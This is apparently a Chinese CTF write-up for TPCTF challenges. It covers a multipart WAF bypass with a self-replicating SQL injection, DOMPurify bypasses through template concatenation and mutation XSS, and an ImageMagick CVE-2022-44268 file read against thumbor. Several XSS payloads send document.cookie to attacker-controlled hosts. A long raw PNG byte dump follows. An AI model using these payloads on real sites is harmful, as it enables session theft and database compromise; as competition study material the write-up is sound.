TPCTF-XCTF rk6

没爆0 输出了一点

image-20250310131024639

supersqli

看到这类的waf有点走不动道

img

第一反应是绕过waf,这里尝试了两种思路

一开始想到是http走私,但是没走成,前后都处理了TE头

1e6262da86ab5558952550a2994aa8de

https://www.geekby.site/2022/03/waf-bypass/#multipart-%E6%B7%B7%E6%B7%86

想着可以通过这种方式,waf那里把password当成文件,而后端又把password覆盖了

image-20250310130539871

对着这篇文章改了一下,UNION SELECT递归拼接sql语句自身,replace绕过字符限制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
POST /flag/ HTTP/1.1
Host: 1.95.159.113
Content-Length: 523
Cache-Control: max-age=0
Origin: http://1.95.159.113
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Edg/134.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://1.95.159.113/flag/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Content-Type: multipart/form-data; boundary=a
Connection: close

--a
Content-Disposition: form-data; name="username"

admin
--a
Content-Disposition: form-data; name="password";filename="password"
Content-Disposition: form-data; name="password";

'UNION SELECT 1,"admin",substr(query,1,149)||char(34)||replace(substr(query,1),char(34),char(34)||char(34))||char(34)||substr(query,149) FROM(SELECT "'UNION SELECT 1,""admin"",substr(query,1,149)||char(34)||replace(substr(query,1),char(34),char(34)||char(34))||char(34)||substr(query,149) FROM(SELECT as query)--" as query)--
--a--

通过docker log也能看出传入的是一个username并且有一个post请求,验证了猜想

2a0b46b66f29cf67593e2f79842a7fc

baby layout

看到使用了DOMPurify对输入进行过滤

image-20250310133331600

同时看到是最新的版本

image-20250310133538179

image-20250310133514273

且做出来的人数这么多QaQ,大概不是新版本的0day

考虑逻辑漏洞,找对应调用的位置

/api/layout传入后会过DOMPurify存入sanitizedLayoutcontent处过DOMPurify后替换{{content}}

image-20250310134056000

github提供的测试网站测试发现

DOMPurify 3.2.4 “Shipwreck”

image-20250310134915746

image-20250310134902316

发现DOMPurify.sanitize(content) 只清理完整的 HTML

那么就可以拼接xss命令了

1
<img src={{content}}> 
1
123"onerror=alert(1)>//

image-20250310135432841

image-20250310150250319

1
2
3
<img src={{content}}> 

123"onerror=fetch(`http://[ip]:/`+document.cookie)>//

这几种都可以的

1
2
<img src=x onerror=window.open('http://vpsip:port/?cookie='+document.cookie) />
<img src=x onerror=window.location.href='http://vpsip:port/?cookie='+document.cookie />

safe layout

对比多了个

1
{ ALLOWED_ATTR: [] });

代表不允许任何 HTML 属性,只会保留标签,但会移除所有属性(如 src, href, class, style 等)

[DOMPurify 3.2.1 Bypass (Non-Default Config) - YNizry](https://yaniv-git.github.io/2024/12/08/DOMPurify 3.2.1 Bypass (Non-Default Config)/)

这个思路一开始在打babylayout的时候试了半天,最后在这用上了

1
2
3
4
5
6
7
<math><foo-test><mi><li><table><foo-test><li></li></foo-test><a>
<style>
<! \${a<{{content}}/style><{{content}}img src=x onerror=alert(1)>
</style>
}
<foo-b id="><img{{content}}hmm..</foo-b>
</a></table></li></mi></foo-test></math>

content传入空值即可

image-20250311080759580

1
2
3
4
5
6
7
8
9
<math><foo-test><mi><li><table><foo-test><li></li></foo-test><a>
<style>
<! \${a<{{content}}/style><{{content}}img src=x onerror="fetch('https://webhook.site/9632cdeb-601e-487f-8b41-719570f65446?flag='+document.cookie)">
</style>
}
<foo-b id="><img{{content}}hmm..</foo-b>
</a></table></li></mi></foo-test></math>

TPCTF{D0_n07_M0D1FY_7h3_0U7PU7_Af73R_H7mL_5aN171z1n9}

safe layout revenge

用前面safe layout的payload就能打

1
2
3
4
5
6
7
8
9
<math><foo-test><mi><li><table><foo-test><li></li></foo-test><a>
<style>
<! \${a<{{content}}/style><{{content}}img src=x onerror="fetch('https://webhook.site/4b236160-a476-4b5c-ae2a-64ff6ea32a1a?flag='+document.cookie)">
</style>
}
<foo-b id="><img{{content}}hmm..</foo-b>
</a></table></li></mi></foo-test></math>

TPCTF{AlS0_r3M3M83r_t0_d1SA8l3_daTa_AND_aR1A}

image-20250310151956775

区别就在于多过滤了 ARIA 属性和 data-* 属性,我们的payload没有出现

thumbor 1

第一反应就是插件肯定有问题

image-20250310152420729

github上找到用法可以从外面读图片,但是好像没什么用,但限制了http头所以不能使用file协议,比赛的时候找了俩历史漏洞但是都不是

http://1.95.57.127:3501/thumbor/unsafe/450x/gips0.baidu.com/it/u=1690853528,2506870245&fm=3028&app=3028&f=JPEG&fmt=auto?w=1024&h=1024

当时其实就想到了需要在自己的vps上开个什么恶意文件让它包含,但是不知道怎么实现

最后晨曦✌找到了历史漏洞

vulhub/imagemagick/CVE-2022-44268 at master · vulhub/vulhub

直接拿里面的poc打

image-20250310152900033

远程访问

1
http://1.95.57.127:3501/thumbor/unsafe/450x/xxxx:xx/yiyi.png

image-20250310153212159

然后让脚本解析一下

1
python poc.py parse -i yiyi_re.png

得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
2025-03-10 15:33:02,687 - INFO - chunk IHDR found, value = b'\x00\x00\x01\xc2\x00\x00\x01\xc2\x08\x00\x00\x00\x00'
2025-03-10 15:33:02,687 - INFO - chunk cHRM found, value = b'\x00\x00z&\x00\x00\x80\x84\x00\x00\xfa\x00\x00\x00\x80\xe8\x00\x00u0\x00\x00\xea`\x00\x00:\x98\x00\x00\x17p'
2025-03-10 15:33:02,687 - INFO - chunk bKGD found, value = b'\x00\xff'
2025-03-10 15:33:02,688 - INFO - chunk tIME found, value = b'\x07\xe9\x03\n\x07\x1f\x1d'
2025-03-10 15:33:02,688 - INFO - chunk tEXt found, value = b'Raw profile type\x00\n\n 27\n54504354467b6576316c5f504e475f6d616731636b5f4c66697d0a\n'
2025-03-10 15:33:02,688 - INFO - chunk IDAT found, value = b'x\xda\xed\x9dYv\xe38\x0cE\x01\x9f\xec\x7fe\xbd\xa7\xd7\x1f\xb1%\x02x )\x97e\r\x01\xbb\xda\xa9J\x1c\xc9\xd2\x15F\x82\xa0\xfe\'5\xae=\x1eu\x0b\na\x8dBX\xa3\x10\x16\xc2\x1a\x85\xb0F!\xacQ\x08\x0ba\x8dBX\xa3\x10\xd6(\x84\x85\xb0F!\xacQ\x08k\x14\xc2BX\xa3\x10\xd6(\x845\na!\xacQ\x08k\x14\xc2\x1a\x85\xb0\x10\xd6(\x845\na\x8dBX\x08k\x14\xc2\x1a\x85\xb0F!,\x845\na\x8dBX\xa3\x10\x16\xc2\x1a\x85\xb0F!\xacQ\x08\x0ba\x8dBX\xa3\x10\xd6(\x84\x85\xb0F!\xacQ\x08k\x14\xc2BX\xa3\x10\xd6(\x845\na!\xacQ\x08k\x14\xc2\x1a\x85\xb0\x10\xd6(\x845\na\x8dBX\x08k\x14\xc2\x1a\x85\xb0F!,\x845\na\x8dBX\xa3\x10\x16\xc2\x1a\x85\xb0F!\xacQ\x08\x0ba\x8dBX\xa3\x10\xd6(\x84\x85\xb0F!\xacQ\x08k\x14\xc2BX\xa3\x10\xd6(\x845\na!\xacQ\x08k\x14\xc2\x1a\x85\xb0\x10\xd6(\x845\na\x8dBX\x08k\x14\xc2\x1a\x85\xb0F!,\x845\na\x8dBX\xa3\x10\x16\xc2\x1a\x85\xb0F!\xacQ\x08\x0ba\x8dBX\xa3\x10\xd6(\x84\x85\xb0F!\xacQ\x08k\x14\xc2BX\xa3\x10\xd6(\x845\na!\xacQ\x08k\x14\xc2\x1a\x85\xb0\x10\xd6(\x845\na\x8dBX\x08k\x14\xc2\x1a\x85\xb0F!,\x845\na\x8dBX\x08k\x14\xc2\x1a\x85\xb0F!,\x845\na\x8dBX\xa3\x10\x16\xc2\x1a\x85\xb0F!\xacQ\x08\x0ba\x8dBX\xa3\x10\xd6(\x84\x85\xb0F!\xacQ\x08k\x14\xc2BX\xa3\x10\xd6(\x845\na!\xacQ\x08k\x14\xc2\x1a\x85\xb0\x10\xd6(\x845\na\x8dBX\x08k\x14\xc2\x1a\x85\xb0F!,\x845.5~N\xf7\x89t\xfd+\x8a\xcfE\x10\xea\xf0\x07\xf8\xc6\xd9\xae\xfa\xe0\xfc\x9c\x92\x1d{#\xbeuB\xbd\x18\xca\x9f\xb3\xd3k\x7f\x03_=\xa5^\x04\xe4\xcf\x15\xe8}\x80\xa2\xfe\xd3\xa7E!\xfc\x00\xbe\xe5\x008\xe0\xb4zf\x8c?W\xe2\xf7{\x14\x1csb=+\xc5\xef\xc5\x85\xaaG=\tz\xbaK\xb8$\xc2O^\xbd\x1eD\xf0\xa4\x10\xbf\x84P\x8f;\x9a\x9e\xf9J\xae\x83\xf0\xc0\xeb\xd6\x1b]\xcb\x81\x08\xefu\x1b\xf5\x0f"\xd4\xba\xdf\xf7\xf0H\xef3\xb4\x10\x96p\x15\xc2\x83\x83l\xfc=\x84\xa8\xdb]RX\x1a\xe0h\x84\xc0qw\x11\xb7\x97\xeb/I\xe1g!\xe2\xb8[\x8e\xf3i\xe6\xaf\xcdT\xe0cn$6\xbf_\xef*\x80\xdfE\xf8\xba\x03z\xc0m\xfc\x04\xc4\xf3\xfaE_\x9f\xb5\xc7?\x04v\xf8\xa7\xb3\xea\xcd\xd0\x1d\x86\x90\xdc\x19\xfd\xce\x8d\xc47O\xf6\x07\x10\x1ev\xcb\xee\x17(V\\X\x08k\x14\xc2\x1a\x85\xf0\xaf\x8f\xd3,\x8b\xe9\xb8\x19\xfa\xad\x93i!\xdc\xc9#\xc4\xbf\xdff\x9c\xef1\xba\x16B|\xfcX\xfa\xeds\xe3\xbc8\x7f.\xc3.\x1cX\x8f:=\xce\x05\xf2\xe7\x04\xf8&\xde\xa9\xfc\xd7\xf4\x8d\xa3\xe2\x9ds\xbd\xfd\x14]\x16!>- \xc9\x83\x9f\xe6\xaf\xf1\x0f\xa7\xc4<\xd0S`\xfc\xf9.@\xfc\xf3\x81u\x06">wZ\x8cX\xe2h\x88?_\xe2\xf7\x8fX5\xc7\x08\x1d\x1c\x10\x1fQ\xdb\x9d)\x96\x83!\xfe\xec\x0f\x10\x1f\x90G;\xd5h\xef\x19\xb4wd\xbcqJthb\x9
3B\xbf\x1eB\x8c\xbf\x83\xed<5\xfa/\xe6\x9eY\x86\xe0\xff\xc0\xe4\xe9\x92\xe7A\xdfR\xe8\x97C\x88M\nm^,\x1a\x11\\)"aHQ\xe1\x1d?K\xbb\xfeT\xf0\x87\xa1\xd7G\xd8#\x86wd\xd3\xdcK\xac\x7f\xd1\xf0\xdc\xa3g\xbd^_\xb1Q\n\x89\x00\xc2\xbdA\xcf\xc0\xf0g\'\x82\x98b\x89)\x17\xd0\xd3[ j\xf7S\x18r\x98\x15C~z\xfb\xcfI\xa3|5\x
84c\x13\x84Y\x19e7\xf3\x89\xf1y\xff\xe0\x19\x92\xbb\x87\x08\x10\xd32\x1f=\xd0\xd6\xa1\x9a3\xca\xf7\x88\x0b1 9\x94I\xa3C\xb1\xe2{\xc9\xa3\x0eN\x8d\x04f\'\x84w\xfa\x13\xfe\x1f^\x8d\xe3h\x86?\x9f\x17B$\xb6(\xbb\x7f\x98\xc9\xca\xe0\xf9\xaa\x86\xe4(\xb2\x00y\x19;\xc5\x1a\xa5\xd0xT\x0e\xe2\xd1\xb1\xfd\xcfn\x041\x
069\xc5\x91\xf0\xc3*\x8d:\xf4\xa8\xc0(vg\x0csx\xcb\xcf\xd5B\xd4#\xc5p\xaf\xec\x0c\xba\xff\xcc\xdc|\x90;\xfa\xab\xbc\xf0\xfb\xf2\xe4\x972\xcc\xe1\xa1\xabK\x95hQPwx\xda\xb1\xba\x18B$\x04\xa93\xd1U\xb0\\\x8f.\x00!\xba2\xcc5i\x00\xc7E1W\xa3\xb0 5Xdg\x8d\xa1\xc7\x89\xe1\xcf\x8e2\x88\x8eS?\x8d\xf1\xa5G\x1b\x80\x8
6#t\x10n>\xff\x07sn$\x91zG\xcd;T-=\x1c.\x87?;\x13\xec`\x84\x0cCn]\xf5\xe8\n\xf0\x17^\x90E\x10!4\xf4\x10\x84\xb0\xe7\xc2\xa09\xff\xeb\x1b\xd6,\xcf\xf9U\x17A\xc8\xd8\xf41v\x02\xb5`\x8e~\xf5\xe8\n\xb0a(}k\x88\xe6\x0f\x87\xc8\xf3jDyz!l\x03\x1c=V\x0cw\x88\x0b\x91\xba\xf3=\x0b\x99\xe5\xdcVC\xb8\xfe\xd1\xe9\xc4\x1
a8\xc7\xa1"U\xfb\xd5\x8b\x1fy\xb9E\x8e4\x8f\xc5 <4\x1b\xe7\xbe~{WZ\x11\x84\xae\xd2\xd8\xfb,\xd9\x9f,<T\xfb\xd8$\xfc\x86\xa1\xcd\xd7Q\xfe|P\x8fJ\x02\x0f\xb3z\xd5\xdfU]-a+\x82\rC\xee\x9d\x12\x94\x86\xa17\xbf\xde\x10\x82\xf2[\xa2\x9a\x18\xda\x1c\xea\xd1\xec2S\x11\x831\xa4\xfc\x90D\xf9\xabN{ZB\x83\xaf\'\x84\xc6
\n\xb6\x04\xe1#\xc4\x9e!\x8c\xfc\x16\x9fj\xe1\xb70\xbcA\\\x98d\xd7zQ\xd9(\xedeL\xe1\x8b\xe0\x0b\xdfz\xf7z7\xd0\xc1\xb3\x82H\xf4v0\x80`Z\xb4\ril8x\xf5\x99\n\xa2A\x07\x14gr\x97\xba\xf82\xbf\xf0\xd6/\x13\xae\xe8\xf2\xc2\x19\x86*qH\x14\xc0\xa0E\x9f\xee0\xe3x\x90B\xfd\xf9\xa4\x02\xa5\xf2\xb7\x05b\x98=\xc0K\x91\x
be\xa4pa8\x16\xc3\x86\x1f\x1a\x90D\x91z\xa9o_\xd5i\xd1\x06\x1e\xbcN\xbdMP\x11\xa5\x81\x08F\n\xd1\xdbBO\xb0\xd1]\xd0\xa1\x10:\x82\xd4\xa3\xa1\x99\x04\x0bp\xd5\xa2\x06\xde\xd1\xf2\xf7a\x84\xe0\t\xad\x9e(2w5H\xc5S\x0eW\x82\x86dG\x0ca]\xa4\xc0\x90\x04\x15\x90\x08\xd0\xb91M\x8ahl\x8c/,\x85,\xb7\x85l\xea\xa0g\rWg
&\xf9\xaf+\x84-9\xc6\x90\x14\x06\xb4q\xcc\x8b\x1d\xd5\xa0\x06\xe3\x8d\xb23\xf0\xf8 ,5\x82I\x88k\\\x9f\x93sr\x00"w\x8ca\xcf\xff]\x90y)4BH\xd3\x0b\x9c\xe3\xce\xbb\\\xec^\x90\x0f&\x86=\x88\xf68OwtQ\xab\xd6\xa3\xa1q5|\xce\x952\xccr\xea\xcfW#|\x19@\xe1\xda\xd4\x81\xd4\x97A89B0\x1d\x9a$\xb7\xd2) \xf0\xa0\x02&(\\c
\xc3\xf6\x06\xfe\xde\xc5\xc4\xf8=\xff\xb3\x11~X3\x88 \x86\x9a\x98\xc1&\xc3>\xd6\x9f\xba^\xc9)\x10\xaatR\x1bdj\x17\xf9t\x01\xa8\x10\x82\x06\x15O\xf1k\xa3\xfb\xa0S\xc1\x84\xb0e\xd8\xc6\x87\xbcl9\x03\x18\xcc\xa0\x10I\xec\x13\xdc\x91\xe1\xcfv\x82\x13\x1f\x06\xe9tA\xc7S\xb5\x92\xbc\xcc\xf1\xb4\xa6\xd0\xe5\xd8\x9
8(@B8\xd8\x12\\\x18&Yn\x1f\x0123(\x9b%\xf1<\xee\xcc\xb6u\xb5\x8cc\xee\xa5\x82gJa\xc2\tY1>#C6\xd1\x03\x1bV@\xc6\xa1\xa1\x86\x1a\x1d/}\x04 \xf1e\x02M\xb5F\xe1h\x84s:\x01\x04^\xea\x9e\x86\xa0?\xb8\xa4\xad\xef\xb2\xe0\xf3b\xd8h4iR1\xd2Z@\x1eV\x04=\x9aI\x1f\x07x\xbc\x0c\xee\x9c\x9d\x81\xb7M\xa0\x10YE\xc4R/\x86\x
e7\x03\xa3v\x8a\xa9\x15\xc3\x86!\x9c2m\xf0\r\xc2\x8aP\xa3\x13\xd4\'\x05\xb8E\x99\xee$\x86?\x9fQ\xa3\x10^=\x81\x9e{\x1a5\xaa\xf7l\x97\xa9\xc2\xf5E\xbc\x18b\xad\xcc\xb5\xa9m{f\xc4\xb0\xc2\xd7\x19\xc6L\xa8\xf3a\x88\n\xc5\xf1\xcb\xed\xdf\x93\xc2\xb9\xe7\t\xd1QD\xb7\x1c\xc2RT1\xb9\x99E\x89\xbe8\xba\x99\xa7\xf5\x
b7\xbd\x10\x1a\xed\x8a\xe8\x92\x82Ja\x1e\xcao\xc8\xc7|\x03\xf0c\x07\xe5\x89\x14&\xff\xf3\xfa\xf2\xfb\xb2jS\xc0X6,\xef\x14\xa7\x1a\xc9R\nw\xc6 \x85x\x9d\xe1u\xc6\xdf/\x08\xca\xc1k\xfcX\xe3\x85\x8f\xe8\xb1\xb3 \xa4"\x98\xa6^<Dwc\x9f\xdf\x81\t\xcc\xbd\x00G\xd77\xa6C\x11\xa4\x90>,\xbf\xa7g\'Ag\xad\xe2\xf1\xe3\x
b1\xf3#\x84L\x08\xc5\x8b\xc9\xf3\x0e6-\xe8\x9fr\x99\xf00\x9e\xa7\x18\x06V\x91\x12M\xba\x9c\xab\x95B&\x84\xe8\xad\x05\xa1\xcb\xa8\xce\x8c\xf0=p\x1de\x8b\x181\x86;\x0b\xa6GC\x05E\xa3\t\xad\xe2m\xb4\xb4\xd1\xa4 \xcfJ*\x84 \x93\x9drI)\xfc\x88FE\x16t`\xf9\xa7\x97B\x89z\xd4\x8a\xa1\xf9%k!\x91hR\xa3\xb2%\x08\xe1L\
xfa~\xd3\xb2\xd3\x8b#\xecrua\x7f\xb8\xb5hs\x9b\xad\xc6\xb5P\xd6_\xcc\x94\xb4\xb8\x84wc\x0b\x8d&\xe5\xd2\x97r\xbc\xb0\x14\xea?\xf3\x0b\xff\x08\xd6\x10\xebM\r"\xd5\xca\xe0\xaaH\xe1\x14\xa90\xa1m\xa4\xb0\x91\xf70\xcb\xc23\x85g\x1c\x8f\xaf\xca\x1d\t\xfa%\xad\xd25R\xe5\xf5\xa8+\x13\x85\xf9\x05\xea\xff\xb8"(\x1bR
\xb42x\tnG \xd4-\xa4\x1bM\xea\x90D1\\\xa3\xca\x97\x18\x86_X\xd16\xf95Xg&\x95\xc1\xbb"\xc4G\x85\xd3\xa7JA\xdc\x990[e\xe7\x8f\x9a\xdf\x8dbk\xf4\xae0E:\x7fY\x7feStm.V7\xdc\x02+\x1e\xc2\xc2\x0f\xee\xce4\xea\x90\x1bO!\xd9\x1c4.\x8d\xf4[|i\xcaR\x0fG\xfb\xf8\x8e\xfe\xd4\xf1\xd5\xa6uIp\tO\x12%`\xe5\x11\xdc\x19\x92\
nh\xbd&\x8c\xc3r\xe5\xd0\x9a\xeb\xd0\xfbIa\xfa\x0cgW\xed\xc15\xc1}\xe2a\xba\x19\xc0E\xae&\x13rI\x93\x15\x045\xa2c\xc5r0\xc8y\x84\x93mC5\xbb\t\xec^\x8c\xf2:A1\xa2\x1b\xe7y\xe4H\xf2\xdc\x13m\xc4\xb2\xcf\xac\xb9r\xb9\x93\x14\xa6\x0f.\xd1\xa4\xa3\x9e\xbeq\xeeh\x01b\xb3-\xe0R\xd8\xbcY$\x9aBn\t\x89\xbe\xd0II\xbc\
x8f"\xd5\xcc\xbdQcK\x94\xbd\x9f\xc4\xd5i\xa0\xb7J\xe1kn\xca\x94\xaa\xc1\x89l+\xe9>\x9d\xd7\xb1\xdf\xe1E\xdf\x13A\x9c\x08!\xb6bs\x00\xb5\xc5\xc7\x0f\xbc\x06\xdd$\x07\xe0\xe6\xe1\xd1\xa6\xc6_?\xe8L\xf9\xba\xa4j\xeaf\xae\xc0tV\xab\x1c\x90\x8e{|\xe6\x19Ro\x0fWb\xee\x85\xb1\xce\x9aRZE\xe7f\x18i\xbe\x0c\x0b\xbe\x
e6\xab-\x9ea\x97\xc2\x96\x8b:\x81\xe3B\xb8|\xd5\xdb(R\x1d\xfb\x02\x8d\x18\xa6\xc2(\x88\xfeLP\x8d\x08\xde\xcc:\xbf\x08\x84\xc2\x0b$\x993\xd0h\x96(\xcc\xf5A$F\xe18=\xba\t\xe1|{du\x1ej\x14\xc7-\'%\x93\xb8h\xab{\xd1\x04y~^\xb0\xd1\xa7\x89?J\x05PW\x85\xa9\\\x97jp\xc2\xf5 a||\xf01R\xa7Y4X\xc0\xf5\x8e\xb0\xffd)\xc
9\r\xf1=\x84\x8a\x15\xdaP\x03\x80\xcds\x9b\x12\xd2\xb6\xb6\xd4ff\xb2\xf8@s1$\x9e\xd9\xf8\x96\xe1\x14\x8at:\x93\x11\x00\xa6\x96p\x18 \xc7\x82\xa6U\n\x7fA\x18w\xe6\xf9\xea\xd7\xd7\xd3\xda\x17\xe4"\xa8\xc6\x1a&\xf0\xf4\x14\xb1\xc5F[\x18\x1e^f\xceU\x88s\xa3\xa9\x10N\xabR\xb80_\xa8"\xb5\x1a\xb6_\x06\x8cA\xbaA\tA
m\x9f\xcfq\xa0\x88\xbd\x85\xf0\xb3\xee\x8c\x121\xd4\x9e"\x95\xaek\xe3\xc2\n\xc4.$L\x91Zx\xf6\xdd\x925K`"\xa8#\x82:\x15\xe7\xef^\xf3\xb6Kh\xaf\x8ca\xf3U,\xbd\x89i\x8b\xd6\xa31\xae\x8c \xc4\x85\x8b\x8e5k\xd2\x1au\x8c\xc9\x8b\xe0\x04\xa5\x83\x8f\x06\x18{\xd7L=\xf6\xe2\x17EQ\x1b\x11\x94`n2\xbf\x00\x12K\xb1\xbd;
\xda*RW\xf4\x1b\xaa\xb8\xd3\xbc\x84:A4?\xd1p\x15\xcds:\xf2E\xa3\xf19\'B\xebnkO\x14\x95\xf0\xcb\r#\x84\xb7\x901\xce\x8cU\xa4)\xc3$\xa4P\x97c\xc8T\xa9\xb7\x83z\\$\xf1\xbd\xd0\xbe\xcf\x90\x89\xa1\x0c\x82\xfd\xb0x>z\xa4\xd28\xa50\x0e)f\xf2\x82!\xf7\xb0\xa8\x0f"\x8025\xffr\x11\x84\x1aTi\x9f\xa1\x90|\x07\xbd\xadD
\x95\xa6\x04\x1bc\x18\xd4g\xbf\x11i\xae\x18\x02>\x15\xd19\x15z\x15\x84J\xf5i\xcbP_\x7fblA\x92n=\xbf<%\xd8\x9a\x9d\xc5\xa1I;\xce\xe4\xc6\xc9~\xb4\xa0G\xad\x18\xae\x04\xf5\x1e\x8aT\x1dC\xfb\xb0\xae\xcf\xb2\xda\x90k.\xeb\x16{r\x99<v\x9b#uq\xa1\x89\'L\xd1\xaf\xff\xe0\xe4\xf12\xdf\xd2\xd7\xf5$\x04\x0f\x9aI\xdc\x
c7#\xb5~\x8d\xd7\xa4FC\x19Y\xd4\xa1W*\xc2\x08\xb6\x8a\x943\x8c\t\x1a?\xf9%>\x97\xf6\xfa\xa2F\x8f6_8\xc1K\xbb3\x9a0\x94\x8c!u\xf24\x0b\xadL\x82&\x10l\xdcw\xc2pf\xedQ\xf0=IL\xe8\xcc\xe0)*/\x1e\x9fC\xe7\x18:e\xaa60\xa4^\x82\x8eU\xa9k$\xb3\x9a\xc2U\x8f\xc2M\xdd\xf7\xca\xc5\xc5G\xa8\x9e\xa1\x10=\xca\t\xea\rl!\x9
9\xab\x88\xcaT\xb5\xe3%X\x97F\x99*u\xb1\xfdZM\x13\x8c\xa1\xcd\xb1u\x9bX\xb6\xa4\x1cC\x1bV\xac\xcf\xe4\xeb\x01\xed\x95&^:.T.\x882\xf6\xf3z\xf3\x15\x88\xbd\x9a\xd780\x1aC\xf4\x1b\xab\xdb\xf3\xd8I\x15\xe5*_Z\x0b\xa8\x87\xfa0\x9fF\xa8\xc9-i\xae7hRJp\x941\x8d%\x89hM\xa14+\x83\xfd\x84\xaf\'\xa8\xe2\xebxzy$\xabG\x
d5^\xe0}\x82\n\xb1\x17\xb5>\xa4F\x10\x13\x1f\x81\x95Fij\x12\xe1\xe2\x89\xb6x\x18\xaen\x8d\xf6\x1f\xcd\xb5\xa8\x10\x95o]\x19\xb5j&y\x86\xaf\x86\x90\xa6VZm*t\xc6B\xbd\x8a\x9d\xc8w\x87*(c\n\x01Sj\n\xd2\xce\xb6\x13\xcbj\xe6<\x8bse\x1c\xc0[lA\xe9\xee\x0b\xed\xd0\xba4\xfc\xc1\xda\xcb\t~#\x11y\xfd\x9c\xc8_\xd3\xa0
~m?\xb3v\xb4_\xc5\x8c\xb7\xeb\xe3vPs\x80Q\n\x9b\x84Z\xe2\xbe\xe8e\x15\xa9\xcf\x15[u\xbahS\xee#\xb4\x02\xd8\xab\xcf\xb4K\xd3\x1agT\x9a\xec\x8c\xc0\xafA\xa4\x04\xc3\x8dw.\x8b\xfa\x14\x9b\xd8`>\x91\xc0+\xef\xe5\xabI\xb3\xf2\xb6\xd1<l\x93\xe6U\xf2\x9a/\xeb\x91\x88 \x82tYn\x84\xde$\x02\xc6M\x87E\x98\xc3\x19\xcdv
\xc8\x8c\x9e`A\xda.\xeeL4\x08/QT#\x84\x89\x9f\xae2\xe3\xd0\xb4p\xac\'#m\x9e\xdbJb\xdaq\x98\xe6&\x82\xd96q\xbdF\x87\xad{\x0f.f\x0b\xb5\xbfo\x80\xb1v\xaf\x96j\xad\xfc\xadB\x99\x8a\xe1\xba#:\xecF \xb1\xd8\xaf\xbfk\xa82gFCJ\xd7\xa4g|A\xc2\xc0\x98\\\xd4\x9dQfs\xd6\rC\xe4\xd5\x13V^\x1d\xb7\x05\xcd\x8f\x86\x0e\x8d
\xb4\x1b\x08\xa2\xdd\x94\'\x93\xd6Nn\x94\x14\xdc\xc7Z\x03\xe6\xce0Zw\xdavK\xdcVr\xe2;\xb5\xae\x0e\xa9\xa7\xd7\x8a\xa1.\xdb\x1b\xe4\x82\xb8\xf6\xb3g\x0b\xa3\xba\x00\x13g\xc6\xcabT\xfa\xa3\xc9\xe9\xfb\x04\x15\xcb\xb5\xa1U\x89\xeaw\rq\xf4\xda\xee\xb1\x1d7\xc9m\xa4Kw\x81\x18\xd5\xfb\xa6\xce\x8c\x95E\xe6\xce\x9c
eu\xf67\x10\x1a\xeb\xd8\xec\x9f\xf5\xd2\xa1\xe2\xcc\xa0\xf3J\x17)m\xb1\xa8\x83hw-\xb7\xc0z\xe5\x9bJP\xa8/4h\xb2}\x84\xe0\x89\x1a_\xfc\xec||\xb5\x1bI.\xdb\x86\x181\x14\xa7L31D\x031\xeeZ\x1e\xc5p4?H\xe7SZ\x838k\no\x8dP\xdcv\xae\xab\x8811\x94\xd6\xd9a\xa6\x10\xe2)\xb6\xcd\x99\xd3\xc6#\x08)x\xee\xcc\xf8\xe2PJ\x
f0l\x9dg\xbe\xd8\xf1B];\x05R\x84\xa2d\xa9I\x88\rC+X1\xd9\x19\xff\x13\x01\xba5\xf1\x9a1\x0c\x0b\xd0\xf4\x04\t\xd1\xa3\x10\xaey6\r\x85jI\xc5b[\xdf\x16HzX\xb6\x01f\x86\xd2\x9d1wf\x92\xcf\xa1g\x14\xc1\x1d\x15i\x88,B\xdaL\x9184\xde\r\xe5\x11\xa2\x8d%\xc0\xdf0\x11\xbc1g\x86N\x9b\xf8\x92Q=K\xb3\xb6}\x96\xc5\xac9(\
x8d^`\x96\xfd\x8f6hd\x82\x9c\xc8u\xbf\x9b\n!]\x1d\xc1s}\xda\\\xa0\xae_n(\x85\xca\xd2\xddV\xce\xc4x3\xc1%uo\x19\x0cl\xfdp^\xc2r\x87\xd4\xbc\xa5\x7f}w\x92B\x1d%\x7f\xbd-d*LcW\x1a\xfd\xec\xe7\x1a(\x83\xf8I]\xad\xc5iB\xfc\x9f\xdd\t.\xd6\xcc\xc9\x98\x9fm296\x1b<\xd2\xe0\xe2\xcd\xe7Ih\x06;[\x06\x12\x1c\xd2\xfc\xf
2\xee#\x85:\x88\xa2{\xee\xbcj(\xb0\xa6\xde\xe0\x86\xe5z0\xdb\xf5\x06;\'\xc9:\x17\xe5\xf0\xbb\x97w\xef\xa0\xc2\xe9M\xe5AuT\xa4<\xc1\xbc\xed\xa1\x07%H\xcf\xc0\x9d\x19=\xb2H\xf4\x00E\xda\xbd\xc6$Xh\xa6\x9a\x04~\xfbe\xc9ti\x9f\xa6\xf6]\x99v\xa5q\x9c+d\x87\xd8pa\xf7\x94B~c|\\\xdd\x96\xad\xa4\xa6\x8a\xe6iX\xbc\xc
1\xe8\xb1\xa58~\xc1\x12\xd5\xe6\xe7\x15\xc2/\xb7Ww\x81!!(tY\n\x0f\nc,\xe8\xbe\x97g\xd3\xc8<\x92\x06C\xc8\xa6\xf6\xef\x8fP\xdf\xa1JJ\xf6\x93\xaa}\x92\x8f\xa1\t\xb6\xa0fC\xdalP\xf9\xf4\xd6\xa5\xdc]\n%\xd1\xa4\xbc\xdc![y\xd1\x15\xc59\x01t\xc5\xf6\xca\x84\xb0\xd3\x0f\xf0\x0f+R?c\xea[BfKRx\xaf\x1e*\x8aQ\x00A\x12
